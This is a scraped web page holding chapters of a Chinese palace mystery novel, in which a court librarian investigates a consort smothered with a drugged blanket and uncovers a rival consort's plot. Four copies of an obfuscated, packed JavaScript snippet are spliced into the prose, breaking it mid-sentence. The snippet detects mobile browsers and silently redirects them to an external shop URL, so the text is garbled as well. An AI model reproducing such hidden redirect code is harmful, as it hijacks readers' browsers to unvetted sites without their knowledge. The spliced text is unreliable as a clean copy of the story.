l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16751620|190012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 山是瑾妃身边的另一个一等宫女,身材苗条,但相貌扁平。 远山说道:“大约半个时辰前,奴婢奉瑾妃娘娘的命令,送一些东西给某几个妃嫔。当时,奴婢路过浣纱宫,看见荣国八皇子殿下从浣纱宫大门跑出来,很快离开了。 当时,奴婢没有注意。很快,有小宫女来找奴婢,说是李宝林暴毙身亡,瑾妃娘娘去浣纱宫主持大局了,让我赶快过去。 于是,我也来到浣纱宫,找瑾妃娘娘。当时,嫌疑人只有玉秀一个。但我想起,八皇子殿下也曾从浣纱宫跑出来,也许他知道什么内情。 于是,奴婢就提了一嘴。瑾妃娘娘就让奴婢去把八皇子找过来问问。” 荣旻也说:“当时,确实是这位宫女姐姐来找我的。” 秦惜音问远山:“这么说,你没有亲眼看见八皇子跑进李宝林的房间,只看见他从浣纱宫的大门出来?” “是的,这只能证明他进过浣纱宫。至于后来得知八皇子进过李宝林的屋子,还偷偷放下一个花瓶,是八皇子自己说的。” 荣旻点头:“没错,就是这样。” 秦惜音继续问远山:“那你当时有没有看见浣纱宫的其他宫人?” 远山:“没有。奴婢当时只是远远地路过浣纱宫门口,并没有仔细瞧里面的情况。” 秦惜音的第一个疑问解决了,接下来要解决其他疑问。 她看向跪在地上的玉秀,说道:“玉秀,你把今天发生的事,原原本本讲一遍。” 玉秀有些虚弱地说:“是……今日一早,李宝林派人来说,她要读书,让司籍司派个人过去教她。于是,我就过去了。一开始,她学得还不错。后来,因为遇到了难关,她跟我起了一些争执。 结果没过多久,我突然觉得很困,想睡觉。可是,我是来授课的,怎么能睡着?正当我准备掐自己一把,把自己掐清醒的时候,却看见李宝林倒头就睡。 我也克制不住睡意,趴在了桌上。不知过了多久,我醒来时,发现李宝林还在睡,头埋在毯子里。 我就试着叫了叫她,但她没反应。 本来我应该一直侍立在侧,等待李宝林自己醒来。但是,我下午还有一些活要干,不想耽搁时间,就大着胆子推了她一把。 没想到,她直接侧摔在榻上,观其面貌,似乎已经死了。 我吓了一跳,探了探她的鼻息,发现她果然死了,似乎是被闷死的。 我很害怕,大叫起来,宫女素绢就进来了。 我跟她一起把李宝林的尸身放在床上,然后我让素绢和其他宫人一起去通知皇上、瑾妃娘娘等人。” 秦惜音问道:“这么说,你和李宝林是同时犯困,并且一点意志力都没有,直接睡着了?” “是的,我也不知道怎么回事。” “是因为屋子里点的香是助眠的吗?” “不是,当时屋子里没点香。” “你睡着期间,有听见什么动静吗?” “没有,我睡得太死了。” “你没有听见八皇子偷偷进来过?” “没有,我还是刚才听八皇子自己说了,才知道的。” “那假如有人偷偷进来,闷死李宝林,你也不知道?” “我不知道……但凶手真的不是我,求秦典籍帮忙……” 94. 互相指责 “胡说!我家娘娘精神好得很,而且刚刚生下大皇子不久,怎么会想不开?” “那也许是她睡得太死,来不及有所反应,就闷死了。” “这根本就不符合常理。一个人睡着的时候如果快窒息了,会自动醒来的,或是会换个睡姿。” 这时,玉秀灵光一闪,看着素绢:“为什么不能是你呢?” 素绢脸色发白:“你什么意思?” “我是说,凶手为什么不能是你?当时,我和李宝林都睡着了,只有你守在门口。其他人都不在。你完全可以偷偷溜进来,捂死李宝林,然后继续守门,装作什么都不知道。” 素绢大声辩解:“怎么会是我?难道我不要命了?我怎么敢谋害自己的主子?” “平时你不敢,但今天你有绝佳的机会,可以嫁祸给我。” “我有什么理由谋害李宝林?” “你的理由,不应该很充分吗?李宝林对你动辄打骂,你早就对她不满了吧?” “我是个宫女,被主子打骂也属常事,不可能因为这个就要杀人的。我想活下去,我不想死。只要再熬几年,到了出宫的年纪,我就能离开了。我为什么要杀人?” “也许是你忍不了了呢?你一时冲动……或者其他原因……” “不是我!” 这时,瑾妃开口道:“玉秀说的也有道理。素绢,有人能证明你没有杀害李宝林吗?” 素绢有些无助:“这……我……当时只有我守着门口,其他人都不在……” “既然如此,你也跪下,直到查清真相为止。” “我……不是我,是玉秀杀的,是她……” 素绢不情不愿地跪在玉秀旁边,两个人相互指责,吵嚷不休。 瑾妃皱着眉,摸了摸耳朵,道:“你们两个不要再吵了,吵得本宫耳朵疼。” 瑾妃的声音不大,但素绢、玉秀两人马上就闭嘴了。 接着,瑾妃看向秦惜音:“惜音,你怎么看?这两人谁是凶手?” 秦惜音一时没了主意。 素绢、玉秀,谁都有可能是凶手。她们两人都没有有利的证据。 如果要保住玉秀,难道要说素绢是凶手? 秦惜音暗暗摇头,觉得这样做不太好。 因此,秦惜音说道:“目前,奴婢还不能下定论。” 瑾妃有些不耐烦:“能不能快点?这案子已经很明确了,凶手一定在素绢和玉秀当中。本宫没那么多时间陪你耗。” “瑾妃娘娘,奴婢觉得,还需要再找找其他证据。您如果累了,不如先回宫歇着,留下一两个心腹宫女在此,也可以随时向您禀告消息。” “大胆,你在教本宫做事?” 秦惜音赶紧跪下道:“奴婢不敢。” “李宝林一案非同小可,本宫要待在这里,直到真相水落石出为止。惜音,本宫在再给你半个时辰。半个时辰后,你若是还没有决断,本宫就赐死玉秀、素绢二人。” 秦惜音战战兢兢地行礼:“是。还请娘娘稍坐,奴婢继续寻找证据。” 秦惜音在心里把案件的前因后果想了又想,找出一个疑点,询问玉秀:“玉秀,你说你和李宝林当时都突然犯困,趴在桌上睡着了?” 玉秀道:“是。” “当时是大早上,你们俩都同一时间犯困,很不同寻常。可有什么诱因吗?” “我不知道……昨天晚上,我明明睡得挺好的,今天早上应该不至于犯困才是。” “有人朝屋里吹迷烟吗?” “我不清楚……” 秦惜音看向素绢,问道:“素绢,你一直守着门口,可有见到其他形迹可疑之人?” 素绢摇头道:“没有……” “也没有见到谁往屋里吹迷烟?” “没有。” 秦惜音也想不明白怎么回事,暂时没说话。 这时,素绢却看向站在一边的八皇子,说道:“秦典籍,如果凶手根本不是我和玉秀,您审问我们两人又有什么意义呢?” 秦惜音注意到素绢的动作,问道:“你看八皇子干什么?难道你怀疑他?” 素绢有些害怕,过了一会才大着胆子说道:“没错……奴婢觉得,八皇子的嫌疑是最大的。首先,他进过屋子,而当时李宝林和玉秀都睡着。他完全有机会动手。而且,他也有理由杀害我家娘娘。 他身为荣国皇子,却屡次被我家娘娘辱骂,他起了杀心,再正常不过。而且,他知道自己身份尊贵,即便杀了人,也不需要偿命。” 荣旻道:“不是我,我怎么会杀害李宝林?我平时连鸡都不杀!” 瑾妃疾言厉色,对素绢道:“这件案子的真凶可以是任何人,但绝不会是八皇子。素绢,你不要胡说,否则本宫就让你开不了口。” 素绢流泪道:“我知道,因为他是荣国派来的质子,代表着两国和平。他不能背上杀人罪名,所以只能让我们这种小角色来背……” 荣旻道:“我可以对天发誓,不是我。我确实不喜欢李宝林,但也没到要杀了她的地步。再说,杀人也需要谋划。我偷偷溜进李宝林的屋子,见到李宝林在沉睡,是偶然事件。在那么短的时间内,我怎么可能想到要闷死她?就算我真的要动手,难道就不怕她中途醒来吗? 她一个成年人,要反抗我这个小孩,不是很容易吗?” 素绢没有继续说话,大概她也觉得荣旻说的有理。 荣旻继续说道:“我也很想知道真凶是谁。我会一直留在这里,直到真相大白为止。我从小到大,犯了错从来没有拿别人顶罪过,这次也是一样。 在这个案件里,我犯的唯一错误,就是在见到李宝林沉睡的时候,没有及时叫醒她。我没有想到,她把头蒙在毯子里,是有可能闷死的。” 听到荣旻提起毯子,秦惜音忽然灵光一闪:毯子可能有问题。 如果毯子里有令人昏睡的药粉的话,就可以解释李宝林和玉秀为什么突然犯困了。 因为李宝林一直抱着那床毯子,而玉秀就待在李宝林身边,闻到毯子散发的气味也很正常。 秦惜音叫人去请太医来,同时对瑾妃说道:“瑾妃娘娘,奴婢怀疑那床毛毯有问题,等太医来了,就可以验验了。” 瑾妃点了点头,眼神有些意味深长,秦惜音看不懂。 秦惜音带着荣旻走进房间,拿起那床蓝色的毯子,对荣旻道:“八皇子,我打算闻一闻这毯子。如果我突然昏睡,你想办法叫醒我。” 荣旻点了点头:“好。” 秦惜音认真地闻着这条毛毯,但是没闻到什么特别的气味,只闻到了毛毯的味道。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16751621|190012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 而且,她也没有任何犯困的迹象。 荣旻问道:“这条毛毯上什么都没有吗?难道刚才的猜测有误?” 秦惜音道:“我也不知道……会不会是上面令人昏睡的药粉已经被李宝林和玉秀吸完了?” “如果毯子上真的有药粉,应该不会完全被吸走吧,总会有残留的。要不,等太医来了,再问问看。” “嗯。” 过了一会,太医来了,是秦惜音的老熟人,郁山青,郁太医。 秦惜音把事情跟他说了,郁太医拿起那条毯子,仔细检查。 检查完毕,郁太医道:“这条毯子没什么问题。” 秦惜音心下一沉,问道:“真的吗?可是,李宝林和玉秀都突然沉睡,这是怎么回事?” 郁太医摇头道:“我也不清楚原因。但是,大早上忽然犯困,不太符合常理。要不,我把这屋子里的东西都检查一遍。” “有劳郁太医了。” 郁太医检查了香炉、桌椅、挂画、帷幔、首饰盒等所有能一眼看见的东西,但都没发现什么异常。 这时,瑾妃走了进来,道:“时间差不多了。既然没有检查出新的线索,就把玉秀、素绢二人都处死吧。” 秦惜音慌忙求情:“求瑾妃娘娘等一等……半个时辰还没到呢。” “最多只剩下一炷香的时间了,你还能查出什么?” 这时,荣旻忽然从床底下拖出一样东西,道:“你们看这个。” 秦惜音循声望去,见荣旻从床底下拖出一床蓝色的毯子,跟梧桐身上盖的这床毯子一模一样。 瑾妃说道:“这只不过是一床没洗的毯子罢了,八皇子,你把这脏毯子拖出来做什么?赶紧放下。” 荣旻却说道:“可是,就算毯子脏了,也不该藏在床底下啊。小时候,我把脏衣服藏在床底下,嬷嬷们就骂我,说脏衣服不可以藏起来。您看这……” 荣旻还要说什么,忽然打了个呵欠,直接躺在地上睡着了。 见此变故,众人都大吃一惊。 郁太医赶紧上前查看,说道:“没什么大碍,八皇子好像只是睡着了。” 大家刚才都看见,荣旻接触那床毯子后,就昏睡了过去。因此,床底下的这条毯子,估计有什么问题。 秦惜音赶紧说道:“郁太医,您赶紧检查一下床底下拖出来的毯子,记得屏住呼吸,不要去闻。” 郁太医道:“如果不闻的话,很难判断这上面有什么……要不这样,我先闻一下,如果我也昏睡了,想办法把我弄醒。” 秦惜音点了点头。 瑾妃却说道:“事情已经很明朗了,李宝林要么是玉秀害死的,要么是素绢害死的,因为她们两个都对李宝林有所不满。你们研究这条毯子干什么?别拖延时间了。” 秦惜音说道:“瑾妃娘娘,奴婢怀疑,刚才闷死李宝林的毯子,不是她身上盖的这条,而是从床底下拿出来的这条。两条毯子一模一样,所以刚才,宫人们没有发现异常。 而李宝林和玉秀忽然昏睡,可能是因为闻到了第二条毯子上的某种气味。那种气味会令人昏睡。八皇子刚才突然睡着,就是证据。 所以,应该是有人害死了李宝林后,把两条毯子做了交换。而那个人来不及把有问题的毛毯销毁,就只能先塞在床底下。” 95. 雾里看花 “简直荒唐,这不过是你的推测。” “瑾妃娘娘,让太医验一下,便知奴婢所说的话是否正确了。” 这时,郁太医已经检查了这第二条毯子。 一眨眼的功夫,郁太医也昏倒在地。 秦惜音用凉水洒在郁太医脸上,但郁太医没有醒。 秦惜音又掐了掐郁太医的人中,接着摇晃了郁太医的身体,都不管用。 情急之下,秦惜音只好重重地踩了郁太医的手。 郁太医痛醒了,惨叫了一声。 随即,他清醒过来,说道:“这条毛毯上,有一些会让人昏睡的药粉。如果离这条毛毯太近的话,很容易就睡着了。我想,这就是李宝林和玉秀都睡着的原因。” 秦惜音点头:“看来我猜得没错……” 接着,秦惜音把素绢叫了进来,问道:“这两条蓝色的毛毯,都是你们宫里的吗?” 素绢道:“是的。” “这两条毛毯,一条有昏睡药粉,一条没有。李宝林一开始抱着的毛毯,是有昏睡药粉的这一条。但是,她昏睡之后,有人把毛毯给换了。你知道吗?” “奴婢不知道……” “你不是一直守在门口吗?你既没有看到八皇子进来了一趟,也没有看到有人把毛毯给换了?” “我……我不知道……也许,是玉秀换的,她一直在房间里……” 跪在外面的玉秀听见了这话,赶紧跑进房间,辩解道:“不是我!我当时也昏睡了,怎么换毛毯?” 素绢道:“可是,是你先醒来,也是你先发现我们娘娘已经死了。你完全可以在叫出声之前,先把毛毯换掉。” “真好笑,我见到李宝林死了,本能地大叫,难道还能延缓尖叫时间不成?任何人见到死人,都会第一时间叫出来吧?” “你不需要尖叫,因为人就是你杀的,你一点也不惊讶。” “你这么说,有什么证据?” “我家娘娘死的时候,屋子里只有你,有问题的毛毯也被换掉了,难道还不能说明问题?” “那你也可以做到,你有什么证据证明不是你?” “我……” 见这两人又吵起来了,瑾妃似乎有些受不了,说道:“都别吵了。来人,把素绢、玉秀二人拖下去,处死。” 这时,玉秀急中生智,说道:“瑾妃娘娘,请等一下……如果要闷死一个人,光把她的头埋在毯子里是不够的,肯定要用毯子用力捂住她的口鼻才行。在这样的动作下,凶手的手上肯定会沾染一些气味,比如毯子里的昏睡药粉,或是李宝林脸上的脂粉、头上的头油等等。 但是,奴婢的双手干干净净,没有任何气味。 从事发到现在,一直有人在,奴婢也没有时间擦手、洗手。 请太医来看看奴婢的手吧。” 瑾妃顿了一下,说道:“郁太医,你去看看。” 郁太医走到玉秀身边,仔细看了看,并且闻了闻,说道:“回瑾妃娘娘,玉秀的双手很干净,没有特殊气味,也没有昏睡的药粉。也许,她真的没有捂死李宝林。” 这时,素绢说道:“也许是玉秀比较小心,所以什么都没沾到呢。我的手也是干净的,太医可以给我也看看。” 郁太医走到素绢旁边,也看了看她的手,说道:“素绢姑娘的手也很干净。” 瑾妃道:“就算她们两人的手是干净的,也不代表她们没有嫌疑。此案没有其他人在场,把她们两人杀了吧。” 秦惜音觉得这样太武断了,但是也没有办法。 这时,素绢急得大叫:“不要啊,其实我不在场!” 秦惜音问道:“你不在场?什么意思?你不是一直守在门口吗?” “其实没有……玉秀来了不久,我就离开了门口,后来才回来的。我回来没过一会,就听见玉秀的叫声,进去一看,才知道我家娘娘窒息而亡。” “你去哪里了?” “我……去司籍司找贺司籍学习去了。因为贺司籍之前跟我说过,她觉得我很聪明,学东西也快。她让我有空就去她房间学习,她亲自指导我,将来还有可能提拔我当女官。” “刚才你怎么不说这件事?” “因为……因为贺司籍说,她单独辅导我的事要保密,传了出去其他人会嫉妒我,她也会不再给我当女官的机会。而且,这会影响她的名声。她对我有恩,我不能有损她的名声。所以,我刚才不敢说。 而且,我刚才如果说了这事,就证明我玩忽职守,本来应该守着我家娘娘,却偷偷离开了。她被害的这段时间我不在,那我的罪过就更大了。 我一口咬定自己没有离开过,这样就可以把罪责推到玉秀身上。我本以为这样,死的是玉秀,我不一定会死。 但是现在,我发现我也要死,所以就把这事说出来了。” 秦惜音惊讶道:“怪不得你没有看见八皇子进来,原来你有很长一段时间都不在。那我先把贺司籍叫来,看她怎么说。” “好,贺司籍能作证的,我确实一直待在她那里,没有作案的时间。其实,在李宝林和玉秀昏迷的时候,到底有几个人进去过,我根本就不知道……也许,有第四个人、第五个人、第六个人……” 秦惜音皱了皱眉。 如果真如素绢所说,那调查起来难度更大。素绢不在场,其他宫人都跑掉了,玉秀当时也昏迷,就算有其他人进入房间,也没有人看见。 秦惜音倒是可以慢慢调查,但瑾妃不会给她这么多时间。 虽然皇帝同意让秦惜音查这个案子,但皇帝心里也是想早点结案的。拖得久了,对荣旻的名声不利,也不利于两国的邦交。 而且,瑾妃对后宫事务有决策权,瑾妃的决定,皇帝一般不会反驳。 秦惜音叫一个小宫女去找贺司籍过来。 很快,贺司籍过来了。 秦惜音问道:“贺司籍,属下有事要问您……” 贺司籍却反问道:“现在查出什么了?” 秦惜音把刚才的进展都告诉了她。 贺司籍沉思片刻,说道:“其实,刚才素绢确实到我那儿了,没有守在李宝林门口。不过,她来的时候慌慌张张的,还在我屋子里洗了手,把洗手的水都倒在了草地里。我问她发生什么了,她只说她急着过来,手不小心蹭到了脏东西,所以要洗手… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16751622|190012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …” 这时,素绢有些震惊地说道:“不是的,我没有慌慌张张的,也没有在贺司籍的屋子里洗手……贺司籍,我来了之后,明明直接开始学习了……” 贺司籍看着她,道:“你为何要否认?难道,你在隐瞒什么?” 这时,玉秀好像悟出了什么,对素绢道:“我知道了……素绢,是你趁着我和李宝林昏迷的时候,捂死了李宝林。你手上有残留的药粉和脂粉,所以才慌慌张张地跑到贺司籍屋里洗手,这样你的手又干净了。 怪不得你刚才不肯说自己离开过,因为杀人的是你,只要你说自己一直守着门,就可以把杀人之罪嫁祸给我……” 素绢拼命摇头:“不是的,我没有……” 秦惜音问贺司籍:“贺司籍,您刚才说的事,可有证据?” 贺司籍道:“难道我一个六品女官,还会诬陷一个宫女吗?当时没有其他人在场,而且洗手的水也已经被素绢给倒了,证据是没有的。” 这时,瑾妃说道:“既然毛毯上有昏睡药粉,玉秀也闻到了,应该也会昏睡许久,没有机会谋害李宝林。据贺司籍所言,素绢形迹可疑,她是真凶无疑。来人,赐死素绢,浣纱宫其他宫人杖责三十,发还内府局重新教育。 至于贺司籍,虽无直接过错,但你在素绢值班之时把她叫走,她来到你房间时,形迹可疑,你却没有多加思考,问清真相,及时上报,亦有过失。本宫将你贬为八品掌籍,你需好好反省。” 贺粲面有不甘,但还是说道:“是,多谢娘娘没有重罚奴婢。” 秦惜音觉得这事还是有疑点,瑾妃定罪太快了。她想再争取一点调查时间,但瑾妃的手下已经给素绢灌了毒酒。 素绢服用毒酒后,立刻毒发身亡。 秦惜音看着素绢的尸体,一股奇怪的感觉萦绕心头。 这时,玉秀激动地抓住秦惜音的胳膊,哭道:“秦典籍,多谢您来救我,以后我一定会报答您!” 秦惜音只是茫然地点了点头,没有在意玉秀说什么。 她忽然注意到贺粲的目光,觉得贺粲的眼神有一些复杂。 瑾妃道:“既然案件查明,大家都散了吧。八皇子,你也快回杨昭仪那里吧。你是由她抚养的,长时间不回去,她也会担心。” 荣旻说道:“是。” 接着,荣旻跟秦惜音挥了挥手,表示告别,就离开了。 瑾妃也带着下人离开了。 其中一个太监经过秦惜音身边时,秦惜音本能地觉得不太对劲。 这太监似乎太香了。 而且这香味,好像是女人身上才会有的味道。 秦惜音下意识地看向那太监的手,发现那个太监的手非常宽大,手指关节很粗,手上有很多老茧,不像个普通太监的手。 那太监身上的香味,似乎就是从他的手上传过来的。 而且,他的其中一个指甲缝里,好像有金色的东西,不知道是什么。 那个太监似乎感觉到有人在看他,就抬起头,跟秦惜音对视了一眼。 秦惜音被他的眼神吓得往后退了几步,因为她从来没见过这么冰冷、阴暗、可怕的眼神。 96. 真理探讨 这也不像是普通太监的眼神。 秦惜音觉得,这件案子还是有一些奇怪之处的。但是,现在瑾妃已经盖棺定论,素绢也已经死了,没有翻案的余地了。 其实,素绢长时间不在,其他宫人也不在,在此期间,溜进去任何人都是有可能的。 但瑾妃直接忽略了这个明显的疑点。 秦惜音想到了什么,跑回屋子里,跪在床前,仔细看梧桐的尸体。 她发现,梧桐的额头上有一点金箔,但是太微小了,像是整片花钿的残留。 这时,浣纱宫的其他宫人也已经被行刑完毕,趴在凳子上哀嚎。 他们没有保护好自己的主子,瑾妃只是罚他们杖责三十,发回内府局重新学习,已经算是好结局了。 秦惜音走了出去,询问他们:“李宝林今天早上,是不是在额头上贴了金箔?” 一个小宫女道:“是的,我们娘娘喜欢金子,所以每天都在额头上贴金箔花钿。” “她贴的金箔花钿是什么样的?” “在娘娘的首饰盒里还有一些,秦典籍可以去看看……哎哟……” 这小宫女一边回答,一边疼得直叫唤。 秦惜音顾不上她们,赶紧跑回屋内,打开梳妆盒,找到了梧桐常用的金箔花钿。 金箔花钿的大小跟普通花钿一样,而现在梧桐尸体上的金箔,确实只有一点点,不是完整的一片。 而刚才离开的那个太监,指甲缝里有金色的东西,莫非就是梧桐额头上的金箔? 秦惜音脑海中浮现出一个场景:那个太监趁梧桐和玉秀都睡着了,偷偷潜入房间,用那条毛毯用力地捂住梧桐的脑袋。他一只手扶着梧桐的头,所以不小心把梧桐额间的金箔花钿弄到了自己的指甲缝里。 等捂死梧桐后,他再把梧桐的头摆放端正,埋在毯子里,看起来像是梧桐自己不小心窒息而死的。然后,他偷偷离开,神不知鬼不觉。 而守门的宫女素绢已经被贺粲叫走,所以这一切都没有目击者。 想通了这件事后,秦惜音觉得后背发冷。 看来,这就是全部的真相了。 梧桐的死,有瑾妃的手笔。 瑾妃先派人在梧桐的毛毯上撒上昏睡的药粉,让梧桐在跟玉秀学习的过程中,昏睡过去。 接着,贺粲派人叫走素绢,让门口无人把守。 然后,瑾妃身边那个太监偷溜进来,捂死梧桐,嫁祸给玉秀。 而八皇子荣旻进来还花瓶的时候,梧桐可能已经死了。 这个计划中一个关键的人,就是贺粲。 贺粲必须叫走素绢,才能让门口无人把守。 当嫁祸给玉秀失败之后,她们必须让素绢背这个黑锅。所以,贺粲才会故意说,素绢慌慌张张地在她那里洗了手,把洗手的水给倒了。她在暗示素绢谋害了主子后,才跑到她那里。 由此可以推断,贺粲不知道什么时候已经成为瑾妃一伙的人了。 秦惜音觉得有些可怕,但还好贺粲现在已经被贬为八品掌籍,成为自己的下属,自己以后也不用那么害怕贺粲了。 只是,如果贺粲真的是瑾妃的心腹,瑾妃怎么会贬她的官呢? 也许,贺粲对瑾妃来说,只是一枚能用的棋子罢了,并不十分重要。但是,这棋子又不能直接丢掉,以后说不定还能用,所以瑾妃只是将贺粲贬官,而没有逐她出宫。 要完成今日的计划,瑾妃肯定暗中观察梧桐的浣纱宫很久了。 瑾妃不仅知道浣纱宫的宫人们喜欢偷懒,能躲就躲,还知道今天是素绢守门。并且,素绢还有当女官的心思,才能被贺粲利用。 所以,今日的事,不是偶然事件,而是瑾妃筹谋已久的。 而梧桐一死,大皇子就没有生母了…… 也许,瑾妃的目的是抚养大皇子,增加自己的筹码…… 虽然推断出这些,但是,秦惜音却不能深挖下去,也不能把瑾妃是主谋的事说出去。 自己只是个小小的女官,而瑾妃是宠妃,深得皇帝信任。 这世间,并不是有理就能走遍天下,在宫中尤其如此。 胳膊拧不过大腿,有时候即便知道一些事,也只能选择隐忍。 瑾妃对皇帝来说,就像是一只很宠爱的小猫。 自家的小猫就算犯了错,主人也只会装模作样地斥责两句,不可能为了外人,就杀死或者赶走自家小猫。 这件事,只能止步于素绢的死。 如果想揭发真正的真相,为梧桐报仇,恐怕要等到皇帝彻底厌弃瑾妃的一天。 而那一天,未必会到来。 秦惜音暗暗叹息了一声。 梧桐也不是自己的朋友,秦惜音倒没有特别悲愤的感觉,只是有一些惋惜。 惋惜梧桐生下大皇子,眼看着能过好日子,却因为怀璧其罪,死于高位妃嫔的阴谋。 一个无权无势,又没有手段、没有城府的妃嫔,偏偏生下了皇子,在后宫中就是一块肥肉。 梧桐有这样的结局,并不奇怪。 秦惜音看着梧桐的尸体,小声说道:“梧桐,如果你早知道有今日,是不是不会选择成为妃嫔?” 但是,秦惜音觉得,如果有得选,梧桐可能还是会重走一遍这条路。 对自身的认知不足,再加上对权势富贵的渴望,对未来的过度乐观,导致了梧桐的悲剧。 秦惜音摇了摇头,走了出去。 贺粲已经离开了,那几个受了刑的宫人们,还在凄惨地叫着。 秦惜音回到房间,拿了一些疗伤的药膏,来到浣纱宫,交给那些挨了打的宫人们,让他们涂抹一下,这样会好受一些。 那几个宫人虚弱地向秦惜音道谢。很快,内府局就派人来接走他们了。 以后,她们可能会被内府局派到其他宫里干活。 这时,一位长相平平、身材微胖的妃嫔走了过来,手上拿着一些纸钱。 秦惜音认得她,她是太后送给皇帝的另一个宫女,兰花。 兰花跟梧桐一样,都被女相士断言能生贵子。她们二人都不美,身材也不好,只是因为这个传言,才成为妃嫔。皇帝对她们两人,自然也是宠爱平平。 兰花也正如相士所言,服侍皇帝后,生下了双胞胎皇子——二皇子和三皇子。 她也因此被封为五品才人。 此刻,她的神情有些忧郁,眼神略显空洞。 秦惜音迎了上去,行礼道:“奴婢拜见兰才人。” 兰花有些茫然地看向秦惜音,道:“是你啊,惜音……我听说梧桐没了,我来给她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16751623|190012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 烧点纸钱……” 兰花的声音有些虚弱。 秦惜音道:“李宝林的尸身在里面,娘娘您自便吧。小心别引起火灾。” 兰花点头:“嗯,我知道。” 兰花进去之后,秦惜音听见里面传来微弱的哭声。 秦惜音正在感慨之际,忽然有个小太监来找秦惜音,说道:“秦典籍,您在这儿呢。大理寺来人了,说是要询问李宝林之死的细节,您过去跟那位大人说一下吧。” 秦惜音心中一动,问道:“是哪位大人?大理寺丞高毅吗?” “这小的可不认识……” 秦惜音没有继续问下去。她来到乾元门外,四下张望,没见到什么官员。 这时,她的肩膀被人拍了一下。 她回头一看,见高毅笑嘻嘻地看着她。 秦惜音笑道:“高大人,你干什么,吓我一跳。” 高毅道:“我看你能不能找到我,没想到你这眼神也不好使了啊。” “你故意躲在我身后,我能找到你才怪了。” 高毅笑着看了秦惜音一会,秦惜音问道:“你在看什么?” “我看你胖了还是瘦了。” “看出来了吗?” “看出来了,胖了。看来最近心情不错。” “我升为七品典籍,自然心情不错……只是,如果没有发生李宝林的悲剧就好了。” 说着,秦惜音的神情悲伤起来。 高毅道:“我正为李宝林的案子而来。李宝林是宫中妃嫔,她的死因非同小可,需要在大理寺记录在案的。但是,外官不便进内宫查案,所以每次宫中的案子,都只能询问宫中的人。 这次,幸好是你来跟我说。” “为什么这么说?” “这样,我们就能见面了啊。” “我可不是为了跟你见面,才专门跑出来的。实在是因为别人都在忙,我又很了解这件案子,所以才出来的。” “知道了,总之不是因为我,是为了案情,对吧?” “对。” “大公无私的秦女官,请您跟我去前面的房间,把案情始末告诉我吧。” “好。” 高毅带着秦惜音,来到了尚书台的一处房间。 尚书台就在附近,是尚书省官员们办公的地方,房间很多。平时,其他官员如果有需要,也可以借用。 高毅和秦惜音来到一间没人的书房,秦惜音把案件的前因后果都讲明了,包括明面上的真相和实际上的真相。 高毅认真地记录着,他当然知道自己该记下哪一版真相。 记录完毕后,秦惜音沉默地看着窗外。 高毅摸了摸她的头,说道:“我知道你在想什么。只是,每个时代的人,都有一些无奈之处。百姓之间的公道容易证明,达官贵人之间的事就复杂了。有时候,大理寺查案也会查到一些正得宠的官员头上,出于种种原因,我们也只能给出一个表面的真相,没法揭露真正的事实。 但是,我相信真相总有揭露的一天,也许是几年后,也许是几十年后。” 秦惜音小声说道:“这是为什么呢?为什么有时候明知道有疑点,却不能追查下去;明知道凶手是谁,却不能说出来……这样的话,要刑名之官干什么呢?” 97. 反复修改 高毅沉默了一会,说道:“其实,我以前也思考过这个问题。后来,我想明白了。只要能让一部分人的冤情得以昭雪,让一部分真相能被揭露,我们的工作就是有意义的。如果没有刑部、大理寺这样的部门,百姓想伸冤都没有门路。 即便我们没法让每件事情都得到昭雪,但只要能帮助大部分人,就算不错了。 至于那些无能为力的部分,也只能交给时间,交给运气,交给历史。” 秦惜音道:“你说的有道理……我想,即便是皇帝,也不可能想做什么就做什么,想要什么都能得到。” “没错。只要尽自己的努力就可以了。” 过了一会,高毅给秦惜音一个小包,说道:“这里面是枸杞菊花茶,可以清肝明目,适合长期用眼的人。你有空就喝一包。” 秦惜音接了过来,笑道:“这是给我升官的贺礼吗?” “贺礼怎么会是这么便宜的东西,你想要什么,尽管开口,我去置办。” “我跟你开玩笑的,不用这么隆重。” “要不请你吃饭怎么样?” 秦惜音有些遗憾地摇摇头:“不行,这几天很忙,没法出去吃饭。等我忙完了再说吧。” “好,那你先回去吧。” 高毅握住了秦惜音的手,给她手上套了一串手链。 秦惜音看了看,这是一串粉色的碧玺手串,上面还有两颗碧玉珠,十分好看,而且一看就价值不菲。 秦惜音笑道:“多谢了。为什么你每次买的东西,都是我喜欢的?” 高毅有些神秘地说道:“因为我掐指一算,算出你喜欢什么。” “胡说。” “好吧,我不需要掐指一算,只需要猜测你的心思,每次都能猜对。” 